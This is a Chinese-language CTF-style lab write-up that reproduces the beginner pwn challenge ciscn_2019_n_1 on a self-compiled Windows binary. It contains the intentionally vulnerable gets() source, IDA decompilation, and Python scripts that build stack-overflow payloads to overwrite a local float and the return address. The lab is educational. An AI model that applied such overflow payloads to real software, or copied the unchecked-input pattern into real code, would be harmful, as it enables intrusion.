buu-ciscn_2019_n_1
是一道可以通过栈溢出修改变量为所需值的入门pwn。这题有两个解法,我受到这题的启发,搞一个Windows版本的小实验。
目标:执行函数func
。
环境:Windows10,编译出的exe是32位的;小端存储。
编译命令:g++ 1.cpp -g -o 1.exe
,g++版本:
Thread model: win32
gcc version 8.2.0 (MinGW.org GCC-8.2.0-5)
作者:hans774882968以及hans774882968
注意:需要保证变量s
在栈中的地址低于v
,否则就不存在解法1。
编译代码
#include
using namespace std;
typedef long long LL;
#define rep(i,a,b) for(int i = (a);i <= (b);++i)
#define re_(i,a,b) for(int i = (a);i < (b);++i)
#define dwn(i,a,b) for(int i = (a);i >= (b);--i)
const int N = 105;
void dbg() {
puts ("");
}
template<typename T, typename... R>void dbg (const T &f, const R &... r) {
cout << f << " ";
dbg (r...);
}
template<typename Type>inline void read (Type &xx) {
Type f = 1;
char ch;
xx = 0;
for (ch = getchar(); ch < '0' || ch > '9'; ch = getchar() ) if (ch == '-') f = -1;
for (; ch >= '0' && ch <= '9'; ch = getchar() ) xx = xx * 10 + ch - '0';
xx *= f;
}
void read() {}
template<typename T, typename ...R>void read (T &x, R &...r) {
read (x);
read (r...);
}
void func() {
re_ (_, 0, 2) puts ("Congratulations!!!");
}
// void showFloatBin (float v) {
// int *f = (int *) (&v), u = 0;
// re_ (i, 0, 32) {
// u |= ( (*f) & (1 << 31 - i) ? 1 : 0) * (1 << 31 - i);
// }
// printf ("%x\n", u);
// }
int main (int argc, char **argv) {
// showFloatBin (114.514);// 42e5072b
float C = 114.514f;
float v;
char s[10];
gets (s);
float tmp = fabs (v - C);
dbg (v, tmp, v == C);
if (v == C) func();
else puts ("v should be 114.514!");
return 0;
}
打开IDA,字符串v7
在栈中的地址为bp-16h
,我们希望修改的变量v8
(即源码中的变量v
)的地址为bp-Ch
。v8
在高地址,所以可以通过栈溢出修改变量v8
。IDA反编译的代码如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
double v3; // st7@1
float Buffer; // ST00_4@1
float v6; // [sp+14h] [bp-1Ch]@1
char v7; // [sp+1Ah] [bp-16h]@1
float v8; // [sp+24h] [bp-Ch]@1
char v9; // [sp+2Bh] [bp-5h]@1
float v10; // [sp+2Ch] [bp-4h]@1
__main();
v10 = 114.514;
gets(&v7);
v3 = v8 - v10;
Buffer = v3;
std::fabs(Buffer);
v6 = v3;
v9 = v10 != v8 ? 0 : 1;
_Z3dbgIfJfbEEvRKT_DpRKT0_(&v8, &v6, &v9);
if ( v10 == v8 )
func();
else
puts("v should be 114.514!");
return 0;
}
114.514f
的16进制为42e5072b
,由于本机为小端机(低地址低位),需要反转一下。
代码
bs = '2b 07 e5 42'
payload = b'a' * (0x16 - 0xC) + bytes([int(v,16) for v in bs.split(' ')])
with open("solve1","wb") as f:
f.write(payload)
f.write(b'\n')
运行代码生成solve1文件后,将其作为1.exe的输入。解法1效果:
(cmd)1.exe < solve1
114.514 0 1
Congratulations!!!
Congratulations!!!
更新:大概是编译时要关掉一些保护才能做到执行两次目标函数的吧……做buu-ciscn_2019_n_1
的时候没有保护,实测是可以成功的。
直接通过栈溢出覆盖return address,具体原理是C语言内存分布,参考。
func的地址:.text:0040142B ; _DWORD func(void)
。
bs = '2B 14 40 00'
payload = b'a' * (0x16 + 4) + bytes([int(v,16) for v in bs.split(' ')])
with open("solve2","wb") as f:
f.write(payload)
f.write(b'\n')
后续操作同上。解法2效果:
(cmd)1.exe < solve2
2.59846e+020 0 1
Congratulations!!!
Congratulations!!!
解法2把v8~v10
的每个字节都覆盖为'a'
,所以v8 = 0, v9 = 1
。